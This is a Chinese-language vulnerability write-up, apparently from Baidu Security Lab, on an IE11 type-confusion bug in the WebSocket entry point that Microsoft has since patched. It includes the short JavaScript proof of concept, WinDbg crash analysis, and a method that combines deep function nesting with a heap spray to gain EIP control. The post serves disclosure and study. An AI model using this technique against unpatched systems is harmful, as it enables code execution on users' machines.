百度安全分享 | IE11類型混淆漏洞發現


摘要

 

百度安全實驗室於20169月發現了一個可以穩定利用的IE11的類型混淆漏洞,能在Windows 7 32位系統上對IE11進行EIP寄存器控制。就在我們準備向微軟報告的時候(201610月)這一漏洞被微軟修復了。很可能是Google Project ZeroNatalieSilvanovich同期獨立發現了同樣的漏洞,並先一步報告給了微軟。該漏洞的原理簡單,但是利用起來有一定難度,因此我們用了一個比較巧妙的方法來利用這個漏洞。由於該漏洞已被修補,在此就把我們對漏洞的分析和利用過程進行一下分享。

 

 

漏洞分析

 

觸發漏洞的PoC非常簡單,只有幾行代碼:

eval = WebSocket;

code="m";

myf(code);

 

function myf(code){

    eval(code);

}

 

我們把eval函數進行重定義爲WebSocket,然後在myf裏面去調用eval函數,並傳給eval函數一個字符參數。加載這段代碼,IE11會崩潰,崩潰信息如下(下面的分析基於win7 sp132bit+IE11(KB3100773)):

 

(964.a2c): Access violation - code c0000005  (!!! second chance !!!)

eax=00000001 ebx=020cbc40 ecx=020cbc40  edx=01e7d848 esi=a0ffffff edi=02d6afa0

eip=a0ffffff esp=02d6af90 ebp=02d6afbc  iopl=0         nv up ei pl nz na po nc

cs=001b   ss=0023  ds=0023  es=0023   fs=003b  gs=0000             efl=00010202

a0ffffff ??              ???

0:007> kn

 #  ChildEBP RetAddr 

WARNING: Frame IP not in any known module.  Following frames may be wrong.

00 02d6af8c 68911b8c 0xa0ffffff

01 02d6afbc 6892e11b  jscript9!Js::JavascriptConversion::ToPrimitive+0x97

02 02d6b23c 689566ba  jscript9!Js::JavascriptConversion::ToString+0x1a8

03 02d6b28c 688c1524  jscript9!Js::JavascriptExternalConversion::ToString+0x82

04 02d6b2d4 688c162b  jscript9!ScriptSite::ExternalToString+0x53

05 02d6b2f0 664d6334  jscript9!ScriptEngineBase::VarToRawString+0x2e

06 02d6b330 688c0de6  MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint+0xb4

07 02d6b3a0 688b6a0b  jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x18e

0e 02d6b848 688bcc4d 0x2a40fd1

0f 02d6baf8 688bcdc9  jscript9!Js::InterpreterStackFrame::Process+0x1dcd

10 02d6bc1c 02a40fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

11 02d6bc28 688b6a0b 0x2a40fe1

12 02d6bc6c 688b70c8  jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

13 02d6bce0 688b6ffd  jscript9!Js::JavascriptFunction::CallRootFunction+0xb9

 

從上面的棧回溯中我們可以看到,程序是崩潰在WebSocket的默認入口函數裏。也就是說我們在myf()裏調用eval時,由於eval函數被重定義了,所以真正被執行的是websocket函數。

 

查看WebSocket的官方文檔,我們知道WebSocket()函數有2個參數,其中第二個爲可選參數(可有可無)。

 

WebSocket WebSocket(

  in  DOMString url,

  in  optional DOMString protocols

);

 

漏洞產生的原因就是MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint函數發生了一個函數參數的類型混淆。我們在poc中只給websocket傳遞了一個參數,但是在底層它錯誤認爲有2參數,在解析第二個參數時就發生了類型混淆,導致了崩潰。

 

我們可以對MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint下斷點,

 

Breakpoint 0 hit

MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint:

681b6280 8bff            mov     edi,edi

0:007> dd esp

02ae9914   6a590de6 02657720 18000003  03eae480

02ae9924   023b52d8 08a34010 7908006a  02ae9da8

 

0x180000003意味着函數是有一個可選參數的,並且 0x023b52d8對應於jswebsocket函數的第一個參數(DOMSting url) ,0x08a34010 對應於websocket的第二個參數(DOMString protocols).

 

我們可以看到第一個參數時jscript9!Js::BufferStringBuilder::WritableString 對象

0:007> dd 023b52d8

023b52d8   6a57e22c 0266c760 00000001 023b52e8

0:007> ln 6a57e22c

(6a57e22c)    jscript9!Js::BufferStringBuilder::WritableString::`vftable'   |   (6a57e3a0)   jscript9!Js::CompoundString::`vftable'

 

第二個理應(如果有) 也是jscript9!Js::BufferStringBuilder::WritableString 對象,但它卻是一個其它結構的指針。

 

0:007> dd 08a34010

08a34010   00010001  08a182c0 08a18240 08a18170

08a34020   08a180a0 089effd0 089eff00 089efe30

08a34030   089efd60 089efc90 089efbc0 089efaf0

 

當解析第二個參數時,就發生了類型混淆。

 

 

漏洞利用

 

結合上文崩潰現場分析,我們可以看到0xa0ffffff來自於0x00010001偏移0x9c

 

0:007> dd

00010081   00013800 00000000 00000000 e8000000

00010091   e800010f 0f00010f f8000000 a0ffffff

000100a1   a0000100 10000100 10000100 00000100

 

由於此對象原本應該是jscript9!Js::BufferStringBuilder::WritableString對象,第一個dword是對象的虛表指針,所以0x00010001被錯誤的當成了虛函數表指針,那麼利用的關鍵就是我們能否控制這個指針或者控制0x00010001 指向的內容(0x00010001指向的內存往往是不可控制的區域,修改這個範圍的內存難度比較大)。

 

既然難以控制0x00010001指向的內容,我們的思路轉向控制這一參數的值。我們可以追蹤一下這個被混淆參數的來源。在解析當前崩潰現場時,我們發現它是一個0x10字節大小的堆塊的指針,並且該堆塊是有Javascriptmemgc堆來管理的,所以就對相應的堆塊申請函數下斷點追到了該堆塊的申請的地方。該堆塊被申請時的棧回溯如下:

 

00 0590b66c 67ea27bf  jscript9!Js::JavascriptOperators::OP_LdFrameDisplay+0x79

01 0590b918 67dfcdc9  jscript9!Js::InterpreterStackFrame::Process+0x4841

02 0590ba4c 06d30fd1  jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

WARNING: Frame IP not in any known module. Following  frames may be wrong.

03 0590ba58 67dfcc4d 0x6d30fd1

04 0590bd08 67dfcdc9  jscript9!Js::InterpreterStackFrame::Process+0x1dcd

05 0590be24 06d30fe1  jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200

06 0590be30 67df6a0b 0x6d30fe1

07 0590be74 67df70c8  jscript9!Js::JavascriptFunction::CallFunction<1>+0x91

08 0590bee8 67df6ffd  jscript9!Js::JavascriptFunction::CallRootFunction+0xb9

09 0590bf30 67df6f90  jscript9!ScriptSite::CallRootFunction+0x42

 

通過閱讀jscript9!Js::JavascriptOperators::OP_LdFrameDisplay的源代碼,可見這個0x10字節大小的結構是framedisplay:

 

    FrameDisplay* JavascriptOperators::OP_LdFrameDisplay(void *argHead,  void *argEnv, ScriptContext* scriptContext)

    {

         ...

         pDisplay =  RecyclerNewPlus(scriptContext->GetRecycler(), length * sizeof(void*),  FrameDisplay, length);

         ...

}

 

 

查看一下FrameDisplay結構的定義:

 

struct FrameDisplay {

         FrameDisplay(uint16 len, bool strictMode = false) :

             tag(true),

            length(len),

strictMode(strictMode)

...

}

 

 

Framedisplay的定義我們知道前面所說的0x00010001 FrameDisplaytaglengthlength位於高16位。

 

那麼現在的核心問題就是怎麼控制length的值。Framedisplay翻譯過來是“棧幀展示”,通過閱讀相關代碼,我們猜測可能是描述scriptfunction的棧幀的,而length可能是棧幀的長度或者深度。通過構造我們找到一種方法來影響這個值,我們把漏洞觸發函數修改成下面的形式(增加eval函數的調用深度),崩潰時0x00010001已經改成了0x00020001

 

function myf(code){

    function  myf(code){

        eval(code);

    }

    myf(code);

}

(608.8d0): Access violation - code c0000005  (!!! second chance !!!)

0:007> dd ebx

0474bce0   00020001 0474bcd0 0474bca0 00000000

 

以此類推,我們在eval調用之前嵌套700層函數,那麼虛表指針地址將會變成0x07000001,配合堆噴射,將0x07000000附近內存噴射爲0x41414141,就能實現對EIP的控制:

 

0:007> g

(7b4.f28): Access violation - code c0000005  (first chance)

First chance exceptions are reported before  any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=08a34010 ecx=08a34010  edx=01e7bfd0 esi=41414141 edi=02ae9580

eip=41414141 esp=02ae9570 ebp=02ae959c  iopl=0         nv up ei pl nz na po nc

cs=001b   ss=0023  ds=0023  es=0023   fs=003b  gs=0000             efl=00010202

41414141 ??              ???

0:007> dd ebx

08a34010   07000001  08a182c0 08a18240 08a18170

0:007> dd 07000001

07000001   10000000 000000fc 00000000 00000000

07000011   00000000 0000003f 0000003f 41000000

07000021   41414141 41414141 41414141 41414141

07000031   41414141 41414141 41414141 41414141

07000041   41414141 41414141 41414141 41414141

07000051   41414141 41414141 41414141 41414141

07000061   41414141 41414141 41414141 41414141

07000071   41414141 41414141 41414141 41414141

 

 

總結

           通過分析,我們搞清楚了Framedisplay結構的含義,並且找到了在腳本層面影響該結構的方法,由此可見,對漏洞涉及的相關結構理解的越好,漏洞利用成功的可能性越大。




長按關注
百度安全實驗室




本文分享自微信公衆號 - 百度安全實驗室(BaiduX_lab)。
如有侵權,請聯繫 [email protected] 刪除。
本文參與“OSC源創計劃”,歡迎正在閱讀的你也加入,一起分享。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章